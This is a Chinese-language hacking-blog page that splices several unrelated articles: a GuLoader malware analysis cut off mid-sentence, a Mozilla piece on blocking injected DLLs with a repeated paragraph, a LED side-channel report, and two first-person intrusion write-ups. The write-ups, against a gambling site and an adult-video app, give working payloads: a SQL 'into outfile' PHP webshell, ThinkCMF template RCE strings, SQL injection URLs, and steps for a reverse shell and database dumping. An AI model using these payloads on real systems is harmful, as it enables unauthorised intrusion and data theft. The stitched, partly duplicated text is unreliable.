Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863289316

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

微信截图_20230603211328.png

GuLoader又稱CloudEyE,是一種Visual Basic Script (VBS) 下載程序,用於在受感染的計算機上傳播遠程訪問木馬,最早於2019年被首次發現。 GuLoader是一個著名的基於shellcode的下載程序,已被用於大量攻擊,主要用於傳輸各類惡意軟件。 GuLoader已經活躍了三年多,目前仍在進一步開發中。最新版本集成了新的反分析技術,這使得檢測變得越來越困難。新的GuLoader樣本在VirusTotal上接收零檢測,確保其惡意有效負載也未被檢測到。

GuLoader的有效負載是完全加密的,包括PE標頭。這允許攻擊者使用知名的公共雲服務存儲有效負載,繞過安全保護,並保持有效負載長時間可供下載。

早期版本的GuLoader是作為包含加密shellcode的VB6應用程序實現的。目前,最常見的版本是基於VBScript和NSIS安裝程序。 VBScript變體將shellcode存儲在遠程服務器上。

GuLoader介紹“封裝”和“加密”服務是專門為抵抗安全產品而設計的。 GuLoader是攻擊者用來逃避安全檢測的最重要途徑。

1.png

過去6個月內使用GuLoader的攻擊次數

除了代碼加密之外,GuLoader還利用了許多其他技術,包括反調試和沙盒逃避技術。 GuLoader的一個顯著特徵是加密的有效負載被上傳到遠程服務器。潛在的攻擊者會獲得一個高度保護的基於shellcode的加載程序,該加載程序從遠程服務器下載負載,然後解密並在內存中運行它,而不會將解密的數據釋放到硬盤驅動器中。

儘管谷歌努力阻止GuLoader加密的惡意負載,但在大多數情況下,GuLoader仍然從谷歌硬盤下載負載。下圖顯示了GuLoader在過去一個月使用的不同託管服務的統計數據。

2.png

GuLoader在2023年3月至4月期間使用的不同託管服務

有分析表明,GuLoader目前被用來傳播以下惡意軟件:

Formbook

XLoader

Remcos

404Keylogger

Lokibot

AgentTesla

NanoCore

NetWire

早期的GuLoader樣本設法避免了安全產品的檢測,但後來不同的安全解決方案都能夠檢測到它。然而,在網絡安全供應商不斷提高同時,GuLoader的開發人員也在繼續改進他們的產品。

技術細節GuLoader的早期版本是作為包含加密shellcode的VB6應用程序實現的。 shellcode執行加載加密有效負載、解密和從內存啟動它的主要功能。

目前,最常見的版本是基於VBScript和NSIS安裝程序(Nullsoft Scriptable Install System)。

VBScript變體在2022年底介紹的早期版本中,shellcode存儲在VBScript中。

新版本的一個顯著特點是加密的shellcode託管在雲服務(通常是Google Drive)上。 VBScript本身只包含一個小的混淆的PowerShell腳本和大量的垃圾代碼。這使得GuLoader樣本保持非常低的檢測率。

以下是使用GuLoader的VBS變體的感染鏈示例:

3.png

使用GuLoader的VBS變體的感染鏈

讓我們考慮一個SHA256 5fcfdf0e241a0347f9ff9caa897649e7fe8f25757b39c61afddbe288202696d5的示例。在2023年3月3日上傳到VirusTotal (VT)時,它從未被檢測到:

4.png

上傳兩天后,59家供應商中只有17家將此樣本標記為惡意樣本。

在撰寫本文時,指定的樣本上傳到VT已有3週,下載GuLoader shellcode和下載惡意負載(Remcos)的url仍然很活躍:

5.png

讓我們來看看GuLoader VBScript的內部。它包含許多偽隨機註釋和一些無用的命令。清理之後,我們得到的代碼是這樣的:

6.png

清理過的GuLoader vbscript

這段代碼的目的是調用PowerShell解釋器,並將“pa0”變量中收集的腳本代碼作為參數傳遞給它。

如果我們在添加省略和連字符後查看“pa0”變量的內容,我們會得到以下腳本:

7.png

GuLoader混淆了PowerShell腳本

我們看到這個新腳本包含函數“Gothites9”,它實現了從第二個字符開始以3的步長剪切傳遞的字符串。因此,命令“$Tjene0=Gothites9'OIUlEDiXSa';”的結果是“IEX”。

字符串$Parrotb以相同的方式轉換。從位置2開始,從該字符串中每隔三個字符獲取一個字符串,該字符串是另一個PowerShell腳本:

8.png

刪除第一層混淆後的GuLoader PowerShell腳本

該腳本可以通過使用IEX命令(如果操作系統是32位)調用,也可以作為參數傳遞給從SysWOW64文件夾調用的PowerShell解釋器(如果操作系統是64位)。這是因為GuLoader shellcode必須在32位進程中運行。

可以看到,腳本代碼包含指向Google Drive的URL。

但是,生成的腳本仍然嚴重混淆。腳本以一個用於解碼字符串的函數開始:

9.png

GuLoader PowerShell腳本中的編碼字符串

有趣的是,嵌套腳本中的所有行都以編碼形式存儲,除了包含URL的行。

腳本去混淆後,我們得到以下代碼:

10.png

GuLoader PowerShell腳本去混淆

現在我們可以看到,腳本分配了2個內存區域,將數據從鏈接下載到Google Drive,並將其保存到臨時文件“%APPDATA%\Umig.For”中。接下來,使用BASE64對下載文件的內容進行解碼。解碼數據的前654個字節被釋放在第一個存儲區域(本例中為“$Gamme2483”),其餘的被釋放在第二個存儲區域中(本例為“$Nulstille”)。前654個字節包含一個混淆的shellcode,它旨在解密第二個複制區域,其中包含加密形式的shellcode的主要部分。

通過使用CallWindowsProc回調函數將控制權轉移到解密器,該函數還接收加密shellcode的地址和NtProtectVirtualMemory函數的地址作為參數。

基於NSIS安裝程序的變體與VBS變體不同,基於NSIS的樣本包含GuLoader shellcode,儘管是以加密的形式。這允許安全研究人員在沙盒中運行示例並查看GuLoader的行為,即使沙盒沒有連接到互聯網。靜態分析NSIS腳本和加密shellcode也是可能的。

在上傳到VirusTotal後,此類樣本現在可以被檢測到。

11.png

基於NSIS安裝程序的GuLoader變體的檢測率

我們不會詳細描述這種變體,因為在GuLoader: The NSIS Vantage Point一文中已經對其進行了分析。

GuLoader shellcodeNSIS和VBS變體都使用相同版本的shellcode。與以前的GuLoader版本一樣,shellcode實現了大量的反分析技術:

沙盒逃避技術包括:

掃描內存中與vm相關的字符串;

使用CPUID指令檢查虛擬化環境位是否開啟;

使用RDTSC結合CPUID測量時間;

搜索QEMU相關文件:C:\Program files\QEMU ga\QEMU-ga.exe和C:\Program files\qga\qga.exe;

使用EnumWindows API函數統計Windows的數量;

使用EnumDeviceDrivers API函數檢查是否存在與vm相關的驅動程序;

使用MsiEnumProductsA和MsiGetProductInfoA枚舉已安裝的軟件;

反調試技術:

掛鉤函數DbgBreakPoint和DbgUiRemoveBreakIn,以防止調試器附加;

從使用ThreadHideFromDebugger調用NtSetInformationThread函數的調試器中隱藏主線程ThreadInformation類值;

了解了GuLoader shellcode所使用的技術,在動態分析過程中使用調試器可以很容易地繞過它們。然而,在新版本中,我們遇到了一種使調試和靜態分析都非常困難的技術。

一種新的反分析技術從2022年底開始,GuLoader shellcode使用了一種新的反分析技術,它通過故意拋出大量異常並在將控制權轉移到動態計算地址的向量異常處理程序中處理它們來打破代碼執行的正常流程。

為了拋出異常,代碼使用int3指令。可以實現一個腳本,將int3指令自動替換為跳轉到正確地址的指令:

12.png

用jmp指令替換int3指令

該技術在《恶意软件分析:GuLoader剖析揭示新的反分析技术和代码注入冗余》 一文中首次被公開。然而,在新版本中,這項技術得到了改進。 shellcode開始使用三種不同的模式來拋出異常併中斷正常的代碼執行流程。

訪問無效內存地址導致訪問衝突

這種模式非常簡單。首先,作為數學運算的結果,其中一個寄存器被設置為零值。然後shellcode嘗試將數據寫入由該寄存器尋址的內存:

13.png

訪問無效內存地址引發訪問違規異常

導致訪問違規異常(0xC0000005)。該異常在GuLoader中由註冊的VEH處理,該VEH計算新地址以繼續執行shellcode。所使用的數字和導致計算零值的數學運算總是不同的。

設置陷阱標誌以引發單步異常GuLoader使用以下指令組合來設置EFALGS寄存器中的TF:

14.png

設置陷阱標誌以引發單步異常

乍一看,這段代碼中發生了什麼並不清楚。然而,如果我們計算寄存器EDI中的值,則得到值0x100。接下來的幾個指令的組合旨在推動EFLAGS並將TF (陷阱標誌)位設置為“1”。然後,將堆棧中修改後的值設置回EFLAGS寄存器。

當在EFLAGS寄存器中設置了Trap標誌但未附加調試器時,處理器會在執行下一條指令後生成單步異常(0x80000004)。在GuLoader中,註冊的VEH在這種情況下被調用。但是,如果附加了調試器,則不會調用GuLoader的VEH,並且執行路徑錯誤。

GuLoader shellcode中的代碼塊總是不同的,可以使用寄存器的各種組合。在無效內存地址的情況下,使用的數字和導致在EFLAGS寄存器中計算值0x100來設置TF的數學運算總是不同的。

使用int3引發斷點異常使用int3作為指令進行反分析技術已經在以前版本的GuLoader中實現。然而,它仍然被用於GuLoadershellcode的各個部分。當CPU在沒有調試器的情況下遇到int3指令時,它會生成斷點異常(0x80000003),並調用已註冊的VEH。但是,如果附加了調試器,則控制將轉移到調試器的中斷處理程序,該中斷處理程序通常會暫停程序的執行。 int3指令後面通常是隨機字節,這些字節會破壞shellcode的正常執行:

15.png

使用int3引發斷點異常

因此,如果不分析GuLoader VEH的代碼,我們就無法確定正確的執行路徑。

異常處理程序為了在出現3個指定異常的情況下計算新的跳轉地址,並將程序引導到新的執行路徑,GuLoader使用RtlAddVectoredExceptionHandler函數註冊向量異常處理程序(VEH)。

為了了解跳轉地址是如何計算的,讓我們看一下VEH代碼。

與代碼的其他部分一樣,VEH代碼也被混淆了。它包含垃圾指令,並且使用XOR運算動態計算重要值:

16.png

混淆的VEH代碼

然而,在IDA中反編譯之後,這段代碼看起來非常簡單:

17.png

反編譯的VEH代碼

如上所述,根據異常代碼的不同,VEH操作略有不同。在異常0x80000004 (EXCEPTION_SIGNLE_STEP)和0xC0000005 (EXCEPTION_ACCESS_VIOLATION)的情況下,它從發生異常的指令中獲取偏移量2處的字節值,並將該字節與某個常數值進行XOR(本例中為0x8B)。在異常0x80000003 (EXCEPTION_BREAKPOINT)的情況下,將獲取偏移量1處的字節,並使用常量進行XOR運算。需要注意的是,指定的常數在所有樣品中都是不同的。然後將得到的值添加到異常上下文中的EIP值中。因此,當退出異常處理程序時,控制權將轉移到新地址。

在所有情況下,異常處理程序還會檢查調試寄存器的狀態:

18.png

檢查VEH中的調試寄存器

如果設置了任何硬件斷點,異常處理程序將引用零地址而不是ContextRecord地址。這最終會導致應用程序崩潰。

在EXCEPTION_BREAKPOINT的情況下,異常處理程序還在舊EIP和計算出的新EIP值之間的地址空間中查找軟件斷點。

儘管可以使用各種各樣的代碼組合來觸發異常處理程序的執行,但它們都遵循3種模式,我們可以實現一個正則表達式來查找其中的大多數。不過,我們期望GuLoader開發人員在新版本中改變模式。

要修復一條引發異常的指令,並將其替換為跳轉到x32dbg中的正確地址,可以使用以下腳本(必須將0x8B替換為分析示例中的常量值):

19.png

URL解密

所有字符串,包括下載最終有效負載的URL,都被加密並以特定形式存儲在shellcode中:

20.png

對於上面的示例,我們去混淆了代碼,清除了垃圾指令和跳轉。實際上,代碼中包含大量的垃圾和無效指令。為了幫助理解混淆的複雜性,這是與前面的示例相對應的原始代碼的一部分:

21.png

在嚴重混淆的GuLoader shellcode中合成加密字符串

與字符串不同,解密密鑰存儲為解密函數後面的常規字節序列:

22.png

字符串解密XOR密鑰

這個密鑰通常不是很長,最多64字節。

使用帶有解密密鑰的XOR運算對字符串進行解密。解密字符串後,我們可以找到一個看起來像URL但沒有架構的字符串:

23.png

很明顯,GuLoader的開發者已經發現了安全研究人員知道了其在已知明文攻擊中使用字符串“http://”或“https://”解密以前版本shellcode中的url的方法,以檢測解密密鑰的第一個字節。因此,在新版本中,他們用隨機字節替換了URL方案。

如果解密後的URL字符串的第5個字節等於“s”,則GuLoader將前8個字節替換為“https://”。否則,它將用“http://”替換前7個字節。

以下是從不同示例中提取的更多URL字符串的示例:

24.png

有效負載解密

有效負載解密密鑰也以與加密字符串相同的方式存儲,但是該密鑰沒有被加密。密鑰長度通常在800-900字節的範圍內。

例如,在MD5 40b9ca22013d02303d49d8f922ac2739的示例中,密鑰的長度為844字節。然而,另一個長度用於解密例程,並以混淆形式存儲:

25.png

用於解密有效負載的密鑰長度與密鑰存儲的長度不同

GuLoader使用不同的大小,而不是與密鑰一起存儲的大小,來欺騙自動分析。如果我們不考慮這一點,我們只能解密下載有效負載的前843字節,其餘的數據將被破壞。

與以前

一、 起因

近年来国内发生各种非法菠菜赌博案例非常之多,本次我就来讲解一下我是如何渗透下一个非法菠菜的网站的。本次渗透纯粹是运气+站长疏忽,可谓是千年堤坝毁于蚂巢之说。为了保证读者的理解,特采用入侵者的身份来纪实!

二、踩点及收集信息

打开目标站,发现是一个菠菜网站,然后开始收集信息了

图片

域名的whois信息查询得知域名来自西部数码

图片

这里我使用站长之家的ping工具是为了看有没有使用CDN及查询服务器机房位置。从whois结果得知使用的是dnspod的dns,但是有过经历的都是知道,一般的大型的IDC厂商,都是有自己的dns,代理才会使用dnspod 很明显,这个域名在代理上注册的,本来准备社工域名,但是没什么意义,别人解析回来了还是一样的使用,之前F4ther写过一篇文章是说做了个蜜罐钓鱼劫持了安全脉搏。但是太麻烦,还是直接略过,直接渗透吧。

图片

我看到URL后面是Home/Change/AlipayInfo/alipay/微信.html,我第一预感就是使用ThinkPHP框架来写的程序。

图片

为了验证我的猜想,我特地随便输入地址看他报错,一般的ThinkPHP报错都会显示出版本+物理路,其结果,有图上踩点可以得到以下信息

1. 此站使用的是ThinkPHP3.2.2的框架。

2. 物理路劲C:\WWW\pcdd\pc

3. 此网站没有使用CDN

4. 此网站服务器在境外(加拿大)。

5. 此网站必有漏洞。

图片


三、 开始战斗

随便找了一处直接sqlmap测试,结果如下图,有防护,直接被墙,导致无法继续,连接一个VPN

图片

再看看,不行想办法过防护,直接访问ping出的IP 47.xx.xx.xx,发现phpstudy的探针一枚

图片

在phpstudy默认的数据库密码都是root于是,我们开始尝试弱口令

图片

发现他是个弱口令。于是在访问一下47.xx.xx.xx/phpmyadmin。很不幸,又被墙,说明这防火墙有点狗,换个节点,直接登录。

图片

后来直接用sql语句导出一句话木马,登录进去之后直接点SQL,然后执行语句

select '<?php @eval($_POST[1])?>' into outfile 'C:\/WWW\/pcdd\/pc\/log1.php';

这里使用双斜杠且一个斜杠是反的的目的是怕他直接解析不出斜杠,然后因为执行sql语句又被墙一次。

之后我直接上菜刀,换个节点 因为执行了SQL语句,肯定被墙,所以直接换节点。

图片

切记,这时候你在shell里面翻目录是要被墙的100个节点也不够你翻的,直接执行语句提权,然后连服务器,这里站长修复漏洞了,木马自然不复存在,无法复现,不过站长没有删除我的账号。

图片

发现他是使用阿里云的rds数据库,密码也是挺复杂的。

四、总结

1.他网站采用云数据库站库分离,首先第一比较安全,第二数据处理比较好,但是因为疏忽了本地环境的数据库的弱口令,导致被入侵。2.细节真的很重要比如信息收集,很多人在目标站盯了很久,一点收获都没有,这时候不妨好好地去看一下它的窗户,后门。本文就是直接访问IP发现了环境配置和探针。才能够如此顺利进来。3.基础很重要,比如你不知道phpstudy环境的默认密码和默认地址呢,如果phpstudy的默认密码是其他的呢?不清楚phpstudy环境的根本不了解默认的权限是system4.做事要慎独,一定要把工作量最小化,比如在执行sql语句导出一句话木马的时候很有可能phpmyadmin解析成C:WWW之类的,所以双斜杠反斜杠最好每次测试的时候都带上,反正也没什么影响。比如你要去翻目录肯定要被墙,起码要浪费一分钟去换节点,做过众测的朋友都知道众测里都是争分夺秒的。所以本次案例因为防火墙的原因我直接提权。5.在自己建站的时候一定不要懒惰,要把所有权限做的完美,把被入侵的风险降低到最小。

转载于原文链接: https://mp.weixin.qq.com/s/3y894HT1uBBGdifbIToQZQ




在Windows上,第三方產品有多種方式將其代碼注入其他正在運行的進程。這樣做的原因有很多,最常見的是殺毒軟件、硬件驅動程序、屏幕閱讀器和銀行的需要,當然惡意軟件也會趁機而入。

將第三方產品的DLL注入Firefox進程是非常常見的,超過70%的Windows用戶至少有一個這樣的DLL!需要明確的是,這意味著沒有經過Mozilla或操作系統部分數字簽名的任何DLL。

大多數用戶不在Windows上,第三方產品有多種方式將其代碼注入其他正在運行的進程。這樣做的原因有很多,最常見的是殺毒軟件、硬件驅動程序、屏幕閱讀器和銀行的需要,當然惡意軟件也會趁機而入。

將第三方產品的DLL注入Firefox進程是非常常見的,超過70%的Windows用戶至少有一個這樣的DLL!需要明確的是,這意味著沒有經過Mozilla或操作系統部分數字簽名的任何DLL。

大多數用戶不知道DLL何時被注入Firefox,因為大多數時候除了檢查about:third-party page.之外,沒有明顯的跡象表明正在發生這種情況。

不過,將DLL注入Firefox可能會導致性能、安全性或穩定性問題。原因如下:

1.DLL通常會掛鉤到Firefox的內部函數中,這些函數會隨著版本的不同而變化。所以,第三方產品的發行商必須努力使用新版本的Firefox進行測試,以避免穩定性問題。

2.Firefox作為一種網絡瀏覽器,可以從不受信任和潛在的惡意網站加載並運行代碼。所以,安全研究人員需要付出很多努力來保護Firefox的安全,第三方產品可能對安全性沒有這麼關注。

3.研究人員在Firefox上運行了大量的測試,第三方產品可能不會測試到這種程度,因為它們可能不是專門為配合Firefox而設計的。

事實上,我們的數據顯示,在所有Windows上的Firefox崩潰報告中,只有2%以上是第三方代碼造成的。儘管Firefox已經阻止了許多已知會導致崩潰的特定第三方DLL,但情況依然如此。

這也低估了由第三方DLL間接引起的崩潰,因為研究人員的指標只在調用堆棧中直接查找第三方DLL。此外,第三方DLL在啟動時更容易導致崩潰,這對用戶來說要嚴重得多。

Firefox有第三方注入策略,只要有可能,我們建議第三方使用擴展來集成到Firefox中,因為這是官方支持的,而且更穩定。

為什麼不在默認情況下阻止所有DLL注入?為了獲得最大的穩定性和性能,Firefox可以嘗試阻止所有第三方DLL注入其進程。然而,這會破壞一些有用的產品,比如用戶希望能夠與Firefox一起使用的屏幕閱讀器。這在技術上也很有挑戰性,不可能阻止每個第三方DLL,尤其是使用比Firefox更高權限運行的第三方產品。

自2010年以來,Mozilla已經能夠為Firefox的所有Windows用戶屏蔽特定的第三方DLL。這樣做只是作為最後的手段,在嘗試與供應商溝通以解決潛在問題後,研究人員會盡可能嚴格地進行調整,以使Firefox用戶不再崩潰。目前研究人員只能阻止特定版本的DLL,並且只能在特定的Firefox進程中阻止它。這是一個有用的工具,但只有當特定的第三方DLL導致大量崩潰時,研究人員才會考慮使用它,這樣它就會出現在Firefox崩潰列表中。

即使我們知道第三方DLL會導致Firefox崩潰,但有時DLL提供的功能對用戶來說是必不可少的,用戶不希望安全人員代表他們阻止DLL。如果用戶的銀行或當地政府需要一些軟件來訪問他們的賬戶或報稅,我們屏蔽它不會給他們帶來任何好處,即使屏蔽它會使Firefox更加穩定。

賦予用戶阻止注入DLL的權限在Firefox 110中,用戶可以阻止第三方dll加載到Firefox中。這可以在about:third-party上完成,該頁面已經列出了所有加載的第三方模塊。 about:third-party還顯示了哪些第三方DLL與之前的Firefox崩潰有關,還有就是DLL發布者的信息也會顯示,希望這能讓用戶在知情的情況下決定是否阻止DLL。下面是一個最近導致Firefox崩潰的DLL示例,點擊帶有破折號的按鈕將阻止它:

1.png

以下是阻止DLL並重新啟動Firefox後的情況:

2.png

如果阻止DLL導致問題,在故障排除模式下啟動Firefox將禁用該運行的Firefox的所有第三方DLL阻止,並且可以像往常一樣在about:third-party上阻止或取消阻止DLL。

工作原理阻止DLL加載到進程中是一項棘手的業務,為了檢測加載到Firefox進程中的所有DLL,必須在啟動過程中儘早設置阻止列表。為此,使用啟動進程,它創建處於掛起狀態的主瀏覽器進程。然後,它設置任何沙盒策略,從磁盤加載阻止列表文件,並在啟動該進程之前將條目複製到瀏覽器進程中。

複製是以一種有趣的方式完成的,啟動程序進程使用CreateFileMapping()創建一個操作系統支持的文件映射對象,在用塊列表條目填充後,複製句柄並使用WriteProcessMemory()將句柄值寫入瀏覽器進程。具有諷刺意味的是,WriteProcessMemory()經常被用作第三方DLL將自己注入其他進程的一種方式,這裡我們使用它在已知位置設置一個變量,因為啟動器進程和瀏覽器進程是從同一個.exe文件運行的!

因為所有的事情都發生在啟動的早期,在加載Firefox配置文件之前,被阻止的dll列表是按Windows用戶而不是按Firefox配置文件存儲的。具體來說,文件位於%AppData%\Mozilla\Firefox中,文件名格式為blocklist-{install hash},其中install hash是Firefox磁盤上位置的哈希值。這是一種簡單的方法,可以將不同Firefox安裝的阻止列表分開。

檢測並阻止加載DLL為了檢測DLL何時試圖加載,Firefox使用了一種稱為函數攔截或掛鉤的技術。這會修改內存中的現有函數,以便在現有函數開始執行之前可以調用另一個函數。之所以如此,原因有很多,它允許更改函數的行為,即使函數不是為了允許更改而設計的。 Microsoft Detours是一種常用於攔截函數的工具。

在Firefox中,研究人員感興趣的函數是NtMapViewOfSection(),每當加載DLL時都會調用它。我們的目標是在發生這種情況時得到通知,這樣我們就可以檢查阻止列表,並禁止加載DLL(如果它在阻止列表上)。

為此,Firefox使用一個自定義的函數攔截器來攔截對NtMapViewOfSection()的調用,並返回如果DLL在阻止列表上則映射失敗的消息。為此,攔截器嘗試了兩種不同的技術:

在32位x86平台上,從DLL導出的一些函數將以一條不執行任何操作的兩字節指令(mov edi, edi)開始,並且在此(nop或int 3)之前有五條未使用的一字節指令,例如:

3.png

如果攔截器檢測到這種情況,它可以將未使用指令的五個字節替換為要調用的函數地址的jmp。由於研究人員是在32位平台上,因此只需要一個字節來指示跳轉,四個字節來表示地址,因此:

4.png

當修復的函數想要調用未修復版本的DLLFunction()時,它只需跳過DLLFunction()地址2個字節即可啟動實際的函數代碼

否則,事情會變得更加複雜。以x64的情況為例。跳轉到已修復函數的指令需要13個字節:10個字節用於將地址加載到寄存器中,3個字節用於跳轉到該寄存器的位置。因此,攔截器需要將至少前13字節的指令移動到一個蹦床函數中,如果需要的話,還要加上完成最後一條指令所需的足夠的字節。之所以被稱為蹦床,因為通常代碼會跳轉到那裡,這會導致一些指令運行,然後跳轉到目標函數的其餘部分。讓我們看看一個真實的示例,下面是我們要截取的一個簡單函數,首先是C源代碼(Godbolt編譯器資源管理器鏈接):

5.png

以上是用-O3編譯的,所以它有點密集:

6.png

現在,從fn()開始計算13個字節將我們置於lea eax,[rdi+rdi*2]指令的中間,因此我們必須將所有內容複製到蹦床上。

最終結果如下所示:

7.png

如果Firefox 修復函數想要調用未修復的fn(),那麼修復程序已經存儲了蹦床的地址(在本例中為0x3000000)。在C++代碼中,我們將其封裝在FuncHook類中,修復後的函數可以使用與普通函數調用相同的語法來調用蹦床。

整個過程比第一種情況要復雜得多,你可以看到第一個示例的修復只有200行左右,而處理這個示例的修復有1700多行,不過有些注意事項要注意:

1.並非所有轉移到蹦床上的指令都必須保持完全相同,一個示例是跳轉到一個沒有移動到蹦床的相對地址,由於指令已經在內存中移動了,修復程序需要用絕對跳躍來代替它。修復程序並不能處理所有類型的x64指令,否則它必須更長!但研究人員已經進行了自動化測試,以確保能夠成功攔截所知道Firefox需要的Windows函數。

2.研究人員專門使用了r11來加載修復函數的地址,因為根據x64調用約定,r11是一個不需要被調用方保存的易失性寄存器。

3.由於我們使用jmp從fn()返回到修復函數,而不是ret,並且類似地從蹦床返回到fn()的主代碼,這使代碼堆棧保持中立。因此,調用其他函數和從fn()返回都可以正確地處理堆棧的位置。

4.如果從fn()的後面跳轉到前13個字節,這些字節現在將跳轉到修復函數的中間,肯定會發生問題。幸運的是,這是非常罕見的。大多數函數在開始時都在進行函數序言操作,所以對於Firefox攔截的函數來說,這不是問題。

5.類似地,在某些情況下,fn()在前13個字節中存儲了一些數據,這些數據將被後面的指令使用,將這些數據移動到蹦床將導致後面的指令獲得錯誤的數據。我們已經遇到了這個問題,如果我們可以在前2GB的地址空間內為蹦床分配空間,那麼可以通過使用較短的mov指令來解決這個問題。這將導致10字節的修復而不是13字節的修復,在許多情況下,這足以避免問題。

其他一些需要注意的複雜情況:

6.Firefox也有一種跨進程攔截的方法;

7.對於Control Flow Guard安全措施來說,蹦床很棘手:由於它們是合法的間接調用目標,在編譯時不存在,所以需要特別注意允許Firefox修復過的函數調用它們;

8.蹦床還包括一些額外的異常處理;

9.如果DLL在阻止列表中,我們的修復版本NtMapViewOfSection()將返回映射失敗,這將導致整個DLL加載失敗。這不會阻止所有類型的注入,但它確實阻止了大多數注入;

一些DLL將通過修改firefox.exe的導入地址表來自我注入,該表是firefox.exe調用的外部函數的列表。如果其中一個函數加載失敗,Windows將終止Firefox進程。因此,如果Firefox檢測到這種注入並想要阻止DLL,我們將把DLL的DllMain()重定向到一個什麼都不做的函數。

總結希望讀者在閱讀本文後,可以讓Firefox用戶更加安全地訪問互聯網。用戶大可不必在卸載有用的第三方產品和Firefox的穩定性問題之間做出選擇,現在用戶有了第三種選擇,即保留第三方的產品並阻止其註入Firefox!

在一个风和日丽的晚上,正兴奋逛Twitter的我,忽然发现下面推荐关注有这么一个xxxx视频的名片。

图片
这这这这,我可是正经人,不知道Twitter为啥会给我推送这些。这必须盘他,打开推广链接,辣眼睛,下载该app。

图片

这app一打开就给人一股熟悉的味道,一看感觉很有可能是tp二开的。

图片

注册手机号fiddler抓包改包,其实内容更辣眼睛

图片


抓包获取url发现这不就是thinkcmf吗?满脸淫笑的想这还不拿下,前台那么多rce,就算有狗也能秒之,然而很快被现实打脸。

命令执行POC:
payload1:

/index.php?g=api&m=Oauth&a=fetch&content=<php>file_put_contents('pass.php','<?php @eval($_POST[1]); ?>')</php>

图片

payload2:

/?a=fetch&;templateFile=public/index&prefix=''&content=<php>file_put_contents('pass.php','<?php  @eval($_POST[1]); ?>')</php>

图片


payload3:

?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22])%3b%3F%3E%27);die();?%3E

然后任意文件读取:

/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log

最后在目录下会生成一个m.php一句话木马文件,当然也可以写成其他的payload。

图片

一顿操作猛如虎,一看文件404,难道就要凉凉了?

图片

不怕,另外该APP,还有SQL注入:
注入点1:

/index.php?g=Appapi&m=Video&videoid=1

图片

注入点2:

/index.php?g=Appapi&m=Auth&a=index&uid=128889&token=b69cda34dff2fa978a94b5583e7f5c9a

图片

图片

注入也凉凉,看来我这是要我掏出0day的节奏?算了还是忍忍吧。经过一番鼓捣研究,细节就不贴了,此处省略千字。说多了都是泪........
最后终于出了phpinfo,版本7.2以上
payload:

/?a=fetch&content=<?=phpinfo();exit();

这不离shell更近一步了,然后看disable_functions禁用这么求多。

图片

这里尝试了使用assert函数写入,以为成了,结果还是返回1

图片

@assert函数不行,这里就可以尝试读取文件file_get_contents,读取数据库配置文件

图片

在继续读取config.php文件时,突然想起之前下载app的时候是放在阿里云oss里面的,按理说他的配置文件里面应该有阿里云key和id,但现实终究是那么残酷,连aliyun这几个字母都没看到。

图片

读取一些配置文件没有东西,数据库和redis不可外连,于是就准备写个shell上去在仔细翻下,尝试用file_put_contents读取文件。

图片


好像不行,难道是参数问题,file_get_contents都能读任意文件,或者是目录不可写?尝试写在/tmp/1.txt也是同样的报错,想到php还要其他写文件的函数,于是w3school翻了下

图片

写入123到i.txt,成功写入文件

图片

图片

尝试写入php一句话,提示模板不存在,该怎么办?眼看shell到手了。仔细看fwrite参数 ,w+是打开写入,r+是追加,难道我要一个字符一个字符写入?没错,就是要一个字符一个字符写入。
?a=fetch&content=%3C?=@$fp=fopen(%221.php%22,%27a+%27);%20fwrite($fp,%27<%27);exit();

图片


最终可getshell

图片

绕过命令执行,反弹shell

图片

然后打包+脱裤

 mysqldump -h127.0.0.1 -uxxxx -pxxxx xxx >xxx.sql
tar -cvf 1.tar /www/wwwroot/xxx/

图片

以为这就完了 ?no,看了端口链接以及登陆ip还有搞头,后续待我钓到管理员pc,出续集,另外cmf密码默认加密

<?php
function setPass($pass)
{        
    $authcode = 'rCt52pF2cnnKNB3Hkp';
    $pass = "###" . md5(md5($authcode . $pass));
    return $pass;
}
echo setPass('123456')
?>

进后台的话,明文加密替管理员密文,或者加密明文去撞。


转载于原文链接: https://mp.weixin.qq.com/s/1gI8LC_FBFWG_ar3j1dZJw


通過使用iPhone 或商業監控系統中的攝像頭來恢復存儲在智能卡和智能手機中的加密密鑰,以視頻記錄顯示讀卡器或智能手機何時打開的電源LED。通過仔細監控功耗、聲音、電磁輻射或操作發生所需時間等特性,攻擊者可以收集足夠的信息來恢復支持加密算法安全性和機密性的密鑰。如今,黑客可以通過近20米外的視頻錄製電源LED竊取加密密鑰。

1.png

左圖是智能卡讀卡器正在處理插入智能卡的加密密鑰,右圖是一個監控攝像頭從近20米外的地方記錄下讀取器的電源LED

研究人員最近發現了一種新的攻擊方法,通過使用iphone或商業監控系統中的攝像頭,記錄下讀卡器或智能手機打開時顯示的電源LED,可以恢復存儲在智能卡和智能手機中的秘密加密密鑰。

這些攻擊提供了一種利用兩個先前披露的側信道的新方法,側信道攻擊(side channel attack 簡稱SCA),又稱側信道攻擊,核心思想是通過加密軟件或硬件運行時產生的各種洩漏信息獲取密文信息。在狹義上講,側信道攻擊特指針對密碼算法的非侵入式攻擊,通過加密電子設備在運行過程中的側信道信息洩露破解密碼算法,狹義的側信道攻擊主要包括針對密碼算法的計時攻擊、能量分析攻擊、電磁分析攻擊等,這類新型攻擊的有效性遠高於密碼分析的數學方法,因此給密碼設備帶來了嚴重的威脅。在本例中,通過仔細監控功耗、聲音、電磁發射或操作發生所需的時間等特徵,攻擊者可以收集足夠的信息來恢復支撐加密算法安全性和機密性的密鑰。

側信道開發過程最近發現的側信道分別是Minerva和Hertzbleed,分別於2019年和2022年被發現。 Minerva能夠通過在一個稱為標量乘法的加密過程中測量時序模式來恢復美國政府批准的智能卡的256位密鑰。 Hertzbleed允許攻擊者通過測量英特爾或AMD CPU執行某些操作的功耗來恢復後量子SIKE加密算法使用的私鑰。考慮到一個使用時間測量,另一個使用電源測量,Minerva被稱為定時側信道,而Hertzbleed可以被視為電源側信道。

